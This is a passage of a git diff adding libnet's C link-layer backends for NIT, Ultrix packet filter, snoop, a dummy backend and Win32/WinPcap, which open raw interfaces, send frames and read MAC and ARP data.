+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+#include "../include/gnuc.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+struct libnet_link_int *
+libnet_open_link_interface(int8_t *device, int8_t *ebuf)
+{
+ struct sockaddr_nit snit;
+ register struct libnet_link_int *l;
+
+ l = (struct libnet_link_int *)malloc(sizeof(*p));
+ if (l == NULL)
+ {
+ strcpy(ebuf, strerror(errno));
+ return (NULL);
+ }
+
+ memset(l, 0, sizeof(*l));
+
+ l->fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW);
+ if (l->fd < 0)
+ {
+ sprintf(ebuf, "socket: %s", strerror(errno));
+ goto bad;
+ }
+ snit.snit_family = AF_NIT;
+ strncpy(snit.snit_ifname, device, NITIFSIZ -1);
+ snit.snit_ifname[NITIFSIZ] = '\0';
+
+ if (bind(l->fd, (struct sockaddr *)&snit, sizeof(snit)))
+ {
+ sprintf(ebuf, "bind: %s: %s", snit.snit_ifname, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * NIT supports only ethernets.
+ */
+ l->linktype = DLT_EN10MB;
+
+ return (l);
+
+bad:
+ if (l->fd >= 0)
+ {
+ close(l->fd);
+ }
+ free(l);
+ return (NULL);
+}
+
+
+int
+libnet_close_link_interface(struct libnet_link_int *l)
+{
+ if (close(l->fd) == 0)
+ {
+ free(l);
+ return (1);
+ }
+ else
+ {
+ free(l);
+ return (-1);
+ }
+}
+
+
+int
+write_link_layer(struct libnet_link_int *l, const int8_t *device,
+ u_int8_t *buf, int len)
+{
+ int c;
+ struct sockaddr sa;
+
+ memset(&sa, 0, sizeof(sa));
+ strncpy(sa.sa_data, device, sizeof(sa.sa_data));
+
+ c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa));
+ if (c != len)
+ {
+ /* error */
+ }
+ return (c);
+}
+
diff --git a/libnet/src/libnet_link_none.c b/libnet/src/libnet_link_none.c
new file mode 100644
index 0000000..ab6015d
--- /dev/null
+++ b/libnet/src/libnet_link_none.c
@@ -0,0 +1,66 @@
+/*
+ * $Id: libnet_link_none.c,v 1.5 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_none.c - dummy routines for suckers with no link-layer interface
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1993, 1994, 1995, 1996, 1998
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+int
+libnet_open_link(libnet_t *l)
+{
+ return (NULL);
+}
+
+
+int
+libnet_close_link(libnet_t *l)
+{
+ return (-1);
+}
+
+
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ return (-1);
+}
+
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l)
+{
+ return (NULL);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_link_pf.c b/libnet/src/libnet_link_pf.c
new file mode 100644
index 0000000..533608e
--- /dev/null
+++ b/libnet/src/libnet_link_pf.c
@@ -0,0 +1,164 @@
+/*
+ * $Id: libnet_link_pf.c,v 1.3 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_pf.c - pf routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * packet filter subroutines for tcpdump
+ * Extraction/creation by Jeffrey Mogul, DECWRL
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "../include/low_libnet.h"
+
+#include "../include/gnuc.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+struct libnet_link_int *
+libnet_open_link_interface(int8_t *device, int8_t *ebuf)
+{
+ register struct libnet_link_int *l;
+ int16_t enmode;
+ int backlog = -1; /* request the most */
+ struct enfilter Filter;
+ struct endevp devparams;
+
+ l = (struct libnet_link_int *)malloc(sizeof(*l));
+ if (l == NULL)
+ {
+ sprintf(ebuf, "libnet_open_link_int: %s", strerror(errno));
+ return (0);
+ }
+ memset(l, 0, sizeof(*l));
+ l->fd = pfopen(device, O_RDWR);
+ if (l->fd < 0)
+ {
+ sprintf(ebuf, "pf open: %s: %s\n\your system may not be properly configured; see \"man packetfilter(4)\"\n",
+ device, strerror(errno));
+ goto bad;
+ }
+
+ enmode = ENTSTAMP|ENBATCH|ENNONEXCL;
+ if (ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode) < 0)
+ {
+ sprintf(ebuf, "EIOCMBIS: %s", strerror(errno));
+ goto bad;
+ }
+#ifdef ENCOPYALL
+ /* Try to set COPYALL mode so that we see packets to ourself */
+ enmode = ENCOPYALL;
+ ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode); /* OK if this fails */
+#endif
+ /* set the backlog */
+ if (ioctl(l->fd, EIOCSETW, (caddr_t)&backlog) < 0)
+ {
+ sprintf(ebuf, "EIOCSETW: %s", strerror(errno));
+ goto bad;
+ }
+ /*
+ * discover interface type
+ */
+ if (ioctl(l->fd, EIOCDEVP, (caddr_t)&devparams) < 0)
+ {
+ sprintf(ebuf, "EIOCDEVP: %s", strerror(errno));
+ goto bad;
+ }
+
+ /* HACK: to compile prior to Ultrix 4.2 */
+#ifndef ENDT_FDDI
+#define ENDT_FDDI 4
+#endif
+ switch (devparams.end_dev_type)
+ {
+ case ENDT_10MB:
+ l->linktype = DLT_EN10MB;
+ break;
+ case ENDT_FDDI:
+ l->linktype = DLT_FDDI;
+ break;
+ default:
+ /*
+ * XXX
+ * Currently, the Ultrix packet filter supports only
+ * Ethernet and FDDI. Eventually, support for SLIP and PPP
+ * (and possibly others: T1?) should be added.
+ */
+ l->linktype = DLT_EN10MB;
+ break;
+ }
+ /*
+ * acceptag all packets
+ */
+ bzero((int8_t *)&Filter, sizeof(Filter));
+ Filter.enf_Priority = 37; /* anything > 2 */
+ Filter.enf_FilterLen = 0; /* means "always true" */
+ if (ioctl(l->fd, EIOCSETF, (caddr_t)&Filter) < 0)
+ {
+ sprintf(ebuf, "EIOCSETF: %s", strerror(errno));
+ goto bad;
+ }
+
+ return (l);
+bad:
+ free(l);
+ return (NULL);
+}
+
+
+int
+libnet_close_link_interface(struct libnet_link_int *l)
+{
+ if (close(l->fd) == 0)
+ {
+ free(l);
+ return (1);
+ }
+ else
+ {
+ free(l);
+ return (-1);
+ }
+}
+
+
+int
+libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device,
+ const u_int8_t *buf, int len)
+{
+ int c;
+
+ c = write(l->fd, buf, len);
+ if (c != len)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_write_link: %d bytes written (%s)\n", c,
+ strerror(errno));
+ }
+ return (c);
+}
diff --git a/libnet/src/libnet_link_snit.c b/libnet/src/libnet_link_snit.c
new file mode 100644
index 0000000..6785e43
--- /dev/null
+++ b/libnet/src/libnet_link_snit.c
@@ -0,0 +1,149 @@
+/*
+ * $Id: libnet_link_snit.c,v 1.6 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_snit.c - snit routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Modifications made to accommodate the new SunOS4.0 NIT facility by
+ * Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989.
+ * This module now handles the STREAMS based NIT.
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+#include "../include/gnuc.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+
+struct libnet_link_int *
+libnet_open_link_interface(int8_t *device, int8_t *ebuf)
+{
+ struct strioctl si; /* struct for ioctl() */
+ struct ifreq ifr; /* interface request struct */
+ static int8_t dev[] = "/dev/nit";
+ register struct libnet_link_int *l;
+
+ l = (struct libnet_link_int *)malloc(sizeof(*l));
+ if (l == NULL)
+ {
+ strcpy(ebuf, strerror(errno));
+ return (NULL);
+ }
+
+ memset(l, 0, sizeof(*l));
+
+ l->fd = open(dev, O_RDWR);
+ if (l->fd < 0)
+ {
+ sprintf(ebuf, "%s: %s", dev, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * arrange to get discrete messages from the STREAM and use NIT_BUF
+ */
+ if (ioctl(l->fd, I_SRDOPT, (int8_t *)RMSGD) < 0)
+ {
+ sprintf(ebuf, "I_SRDOPT: %s", strerror(errno));
+ goto bad;
+ }
+ if (ioctl(l->fd, I_PUSH, "nbuf") < 0)
+ {
+ sprintf(ebuf, "push nbuf: %s", strerror(errno));
+ goto bad;
+ }
+ /*
+ * request the interface
+ */
+ strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name) -1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+ si.ic_cmd = NIOCBIND;
+ si.ic_len = sizeof(ifr);
+ si.ic_dp = (int8_t *)&ifr;
+ if (ioctl(l->fd, I_STR, (int8_t *)&si) < 0)
+ {
+ sprintf(ebuf, "NIOCBIND: %s: %s", ifr.ifr_name, strerror(errno));
+ goto bad;
+ }
+
+ ioctl(l->fd, I_FLUSH, (int8_t *)FLUSHR);
+ /*
+ * NIT supports only ethernets.
+ */
+ l->linktype = DLT_EN10MB;
+
+ return (l);
+bad:
+ if (l->fd >= 0)
+ {
+ close(l->fd);
+ }
+ free(l);
+ return (NULL);
+}
+
+
+int
+libnet_close_link_interface(struct libnet_link_int *l)
+{
+ if (close(l->fd) == 0)
+ {
+ free(l);
+ return (1);
+ }
+ else
+ {
+ free(l);
+ return (-1);
+ }
+}
+
+
+int
+libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device,
+ const u_int8_t *buf, int len)
+{
+ int c;
+ struct sockaddr sa;
+
+ memset(&sa, 0, sizeof(sa));
+ strncpy(sa.sa_data, device, sizeof(sa.sa_data));
+
+ c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa));
+ if (c != len)
+ {
+ /* err */
+ return (-1);
+ }
+ return (c);
+}
diff --git a/libnet/src/libnet_link_snoop.c b/libnet/src/libnet_link_snoop.c
new file mode 100644
index 0000000..d0d3571
--- /dev/null
+++ b/libnet/src/libnet_link_snoop.c
@@ -0,0 +1,166 @@
+/*
+ * $Id: libnet_link_snoop.c,v 1.5 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_snoop.c - snoop routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1993, 1994, 1995, 1996, 1997
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#include <sys/param.h>
+#include <sys/file.h>
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "../include/libnet.h"
+
+#include <net/raw.h>
+#include <net/if.h>
+
+#include <netinet/ip_var.h>
+#include <netinet/if_ether.h>
+#include <netinet/udp_var.h>
+#include <netinet/tcpip.h>
+
+#include "../include/gnuc.h"
+#include "../include/bpf.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+
+struct libnet_link_int *
+libnet_open_link_interface(int8_t *device, int8_t *ebuf)
+{
+ int fd;
+ struct sockaddr_raw sr;
+ u_int v;
+ struct libnet_link_int *l;
+
+ l = (struct libnet_link_int *)malloc(sizeof(*l));
+ if (l == NULL)
+ {
+ sprintf(ebuf, "malloc: %s", strerror(errno));
+ return (NULL);
+ }
+ memset(l, 0, sizeof(*l));
+ l->fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_DRAIN);
+ if (l->fd < 0)
+ {
+ sprintf(ebuf, "drain socket: %s", strerror(errno));
+ goto bad;
+ }
+
+ memset(&sr, 0, sizeof(sr));
+ sr.sr_family = AF_RAW;
+ strncpy(sr.sr_ifname, device, sizeof(sr.sr_ifname) - 1);
+ sr.sr_name[sizeof(sr.sr_name) - 1] = '\0';
+
+ if (bind(l->fd, (struct sockaddr *)&sr, sizeof(sr)))
+ {
+ sprintf(ebuf, "drain bind: %s", strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * XXX hack - map device name to link layer type
+ */
+ if (strncmp("et", device, 2) == 0 || /* Challenge 10 Mbit */
+ strncmp("ec", device, 2) == 0 || /* Indigo/Indy 10 Mbit, O2 10/100 */
+ strncmp("ef", device, 2) == 0 || /* O200/2000 10/100 Mbit */
+ strncmp("gfe", device, 3) == 0 || /* GIO 100 Mbit */
+ strncmp("fxp", device, 3) == 0 || /* Challenge VME Enet */
+ strncmp("ep", device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */
+ strncmp("vfe", device, 3) == 0 || /* Challenge VME 100Mbit */
+ strncmp("fa", device, 2) == 0 ||
+ strncmp("qaa", device, 3) == 0)
+ {
+ l->linktype = DLT_EN10MB;
+ }
+ else if (strncmp("ipg", device, 3) == 0 ||
+ strncmp("rns", device, 3) == 0 || /* O2/200/2000 FDDI */
+ strncmp("xpi", device, 3) == 0)
+ {
+ l->linktype = DLT_FDDI;
+ }
+ else if (strncmp("ppp", device, 3) == 0) {
+ l->linktype = DLT_RAW;
+ } else if (strncmp("lo", device, 2) == 0) {
+ l->linktype = DLT_NULL;
+ } else {
+ sprintf(ebuf, "drain: unknown physical layer type");
+ goto bad;
+ }
+
+ return (l);
+ bad:
+ close(fd);
+ free(l);
+ return (NULL);
+}
+
+
+int
+libnet_close_link_interface(struct libnet_link_int *l)
+{
+ if (close(l->fd) == 0)
+ {
+ free(l);
+ return (1);
+ }
+ else
+ {
+ free(l);
+ return (-1);
+ }
+}
+
+
+int
+libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device,
+ u_int8_t *buf, int len)
+{
+ int c;
+ struct ifreq ifr;
+ struct ether_header *eh = (struct ether_header *)buf;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
+
+ if (ioctl(l->fd, SIOCGIFADDR, &ifr) == -1)
+ {
+ perror("ioctl SIOCGIFADDR");
+ return (-1);
+ }
+
+ memcpy(eh->ether_shost, ifr.ifr_addr.sa_data, sizeof(eh->ether_shost));
+
+ if (write(l->fd, buf, len) == -1)
+ {
+ /* err */
+ return (-1);
+ }
+
+ return (len);
+}
diff --git a/libnet/src/libnet_link_win32.c b/libnet/src/libnet_link_win32.c
new file mode 100644
index 0000000..ef70dfe
--- /dev/null
+++ b/libnet/src/libnet_link_win32.c
@@ -0,0 +1,346 @@
+/*
+ * $Id: libnet_link_win32.c,v 1.16 2004/02/18 18:19:00 mike Exp $
+ *
+ * libnet
+ * libnet_link_win32.c - low-level win32 libwpcap routines
+ *
+ * Copyright (c) 2001 - 2002 Don Bowman <don@sandvine.com>
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2002 Roberto Larcher <roberto.larcher@libero.it>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include <winsock2.h>
+#include <iphlpapi.h> // From the Microsoft Platform SDK
+#include "../include/win32/libnet.h"
+#include <assert.h>
+#include <Packet32.h>
+#include <Ntddndis.h>
+#include "iprtrmib.h"
+
+int
+libnet_open_link(libnet_t *l)
+{
+ DWORD dwErrorCode;
+ NetType IFType;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ if (l->device == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): NULL device\n", __func__);
+ return (-1);
+ }
+
+ l->lpAdapter = 0;
+
+ /* open adapter */
+ l->lpAdapter = PacketOpenAdapter(l->device);
+ if (!l->lpAdapter || (l->lpAdapter->hFile == INVALID_HANDLE_VALUE))
+ {
+ dwErrorCode=GetLastError();
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unable to open the driver, error Code : %lx\n",
+ __func__, dwErrorCode);
+ return (-1);
+ }
+
+ /* increase the send buffer */
+ PacketSetBuff(l->lpAdapter, 512000);
+
+ /*
+ * Assign link type and offset.
+ */
+ if (PacketGetNetType(l->lpAdapter, &IFType))
+ {
+ switch(IFType.LinkType)
+ {
+ case NdisMedium802_3:
+ l->link_type = DLT_EN10MB;
+ l->link_offset = LIBNET_ETH_H;
+ break;
+ case NdisMedium802_5:
+ l->link_type = DLT_IEEE802;
+ l->link_offset = LIBNET_TOKEN_RING_H;
+ break;
+ case NdisMediumFddi:
+ l->link_type = DLT_FDDI;
+ l->link_offset = 0x15;
+ break;
+ case NdisMediumWan:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s():, WinPcap has disabled support for Network type (%d)\n",
+ __func__, IFType.LinkType);
+ return (-1);
+ break;
+ case NdisMediumAtm:
+ l->link_type = DLT_ATM_RFC1483;
+ break;
+ case NdisMediumArcnet878_2:
+ l->link_type = DLT_ARCNET;
+ break;
+ default:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): network type (%d) is not supported\n",
+ __func__, IFType.LinkType);
+ return (-1);
+ break;
+ }
+ }
+ else
+ {
+ dwErrorCode=GetLastError();
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unable to determine the network type, error Code : %lx\n",
+ __func__, dwErrorCode);
+ return (-1);
+ }
+ return (1);
+}
+
+int
+libnet_close_link_interface(libnet_t *l)
+{
+ if (l->lpAdapter)
+ {
+ PacketSetHwFilter(l->lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL);
+ PacketCloseAdapter(l->lpAdapter);
+ }
+ return (1);
+}
+
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ LPPACKET lpPacket;
+ DWORD BytesTransfered;
+
+ BytesTransfered = -1;
+
+ if ((lpPacket = PacketAllocatePacket()) == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): failed to allocate the LPPACKET structure\n", __func__);
+ return (-1);
+ }
+ PacketInitPacket(lpPacket, packet, size);
+
+ /* PacketSendPacket returns a BOOLEAN */
+ if(PacketSendPacket(l->lpAdapter, lpPacket, TRUE))
+ {
+ BytesTransfered = size;
+ }
+
+ PacketFreePacket(lpPacket);
+ return (BytesTransfered);
+ }
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l)
+{
+ /* This implementation is not-reentrant. */
+ static struct libnet_ether_addr *mac;
+
+ ULONG IoCtlBufferLength = (sizeof(PACKET_OID_DATA) + sizeof(ULONG) - 1);
+ PPACKET_OID_DATA OidData;
+
+ int i = 0;
+
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ if (l->device == NULL)
+ {
+ if (libnet_select_device(l) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't figure out a device to use\n", __func__);
+ return (NULL);
+ }
+ }
+
+ mac = (struct libnet_ether_addr *)calloc(1,sizeof(struct libnet_ether_addr));
+ if (mac == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): calloc error\n", __func__);
+ return (NULL);
+ }
+
+ OidData = (struct _PACKET_OID_DATA *) malloc(IoCtlBufferLength);
+
+ if (OidData == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): OidData is NULL\n", __func__);
+ return(NULL);
+ }
+
+ if (l->link_type == DLT_IEEE802)
+ {
+ OidData->Oid = OID_802_5_CURRENT_ADDRESS;
+ }
+ else
+ {
+ OidData->Oid = OID_802_3_CURRENT_ADDRESS;
+ }
+
+ OidData->Length = 6;
+ if((PacketRequest(l->lpAdapter, FALSE, OidData)) == FALSE)
+ {
+ memset(mac, 0, 6);
+ }
+ else
+ {
+ for (i = 0; i < 6; i++)
+ {
+ mac->ether_addr_octet[i] = OidData->Data[i];
+ }
+ }
+ free(OidData);
+ return(mac);
+}
+
+struct hostent *gethostbyname2(const int8_t *name, int af)
+{
+ // XXX not implemented
+ return(NULL);
+}
+
+BYTE *
+libnet_win32_get_remote_mac(libnet_t *l, DWORD DestIP)
+{
+ HRESULT hr;
+ ULONG pulMac[6];
+ ULONG ulLen = 6;
+ static PBYTE pbHexMac;
+ PIP_ADAPTER_INFO pinfo = NULL;
+ DWORD dwSize = 0;
+ struct sockaddr_in sin;
+ static BYTE bcastmac[]= {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
+
+ BYTE *MAC = libnet_win32_read_arp_table(DestIP);
+
+ if (MAC==NULL)
+ {
+ memset(pulMac, 0xff, sizeof (pulMac));
+ memset(&sin, 0, sizeof(sin));
+
+ if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR)
+ {
+ *(int32_t *)&sin.sin_addr = DestIP;
+ GetAdaptersInfo(NULL, &dwSize);
+ pinfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, dwSize);
+ GetAdaptersInfo(pinfo, &dwSize);
+ if(pinfo != NULL)
+ {
+ DestIP = inet_addr(pinfo->GatewayList.IpAddress.String);
+ memset (pulMac, 0xff, sizeof (pulMac));
+ ulLen = 6;
+ if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR)
+ {
+ GlobalFree(pinfo);
+ return(bcastmac);
+ }
+ }
+ else
+ {
+ GlobalFree(pinfo);
+ return(bcastmac); /* ff:ff:ff:ff:ff:ff */
+ }
+ }
+
+ pbHexMac = (PBYTE) pulMac;
+
+ return (pbHexMac);
+ }
+ else
+ {
+ return (MAC);
+ }
+}
+
+BYTE * libnet_win32_read_arp_table(DWORD DestIP)
+{
+ static BYTE buffMAC[6];
+ BOOL fOrder=TRUE;
+ BYTE *MAC=NULL;
+ DWORD status, i, ci;
+
+ PMIB_IPNETTABLE pIpNetTable = NULL;
+ DWORD Size = 0;
+
+ memset(buffMAC, 0, sizeof(buffMAC));
+
+ if((status = GetIpNetTable(pIpNetTable, &Size, fOrder)) == ERROR_INSUFFICIENT_BUFFER)
+ {
+ pIpNetTable = (PMIB_IPNETTABLE) malloc(Size);
+ assert(pIpNetTable);
+ status = GetIpNetTable(pIpNetTable, &Size, fOrder);
+ }
+
+ if(status == NO_ERROR)
+ {
+ // set current interface
+ ci = pIpNetTable->table[0].dwIndex;
+
+ for (i = 0; i < pIpNetTable->dwNumEntries; ++i)
+ {
+ if (pIpNetTable->table[i].dwIndex != ci)
+ ci = pIpNetTable->table[i].dwIndex;
+
+ if(pIpNetTable->table[i].dwAddr == DestIP) // found IP in arp cache
+ {
+ memcpy(buffMAC, pIpNetTable->table[i].bPhysAddr, sizeof(buffMAC));
+ free(pIpNetTable);
+ return buffMAC;
+ }
+ }
+
+ if (pIpNetTable)
+ free (pIpNetTable);
+ return(NULL);
+ }
+ else
+ {
+ if (pIpNetTable)
+ {
+ free (pIpNetTable);
+ }
+ MAC=NULL;
+ }
+ return(NULL);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_pblock.c b/libnet/src/libnet_pblock.c
new file mode 100644
index 0000000..9da014f
--- /dev/null
+++ b/libnet/src/libnet_pblock.c
@@ -0,0 +1,511 @@
+/*
+ * $Id: libnet_pblock.c,v 1.13 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet
+ * libnet_pblock.c - Memory protocol block routines.
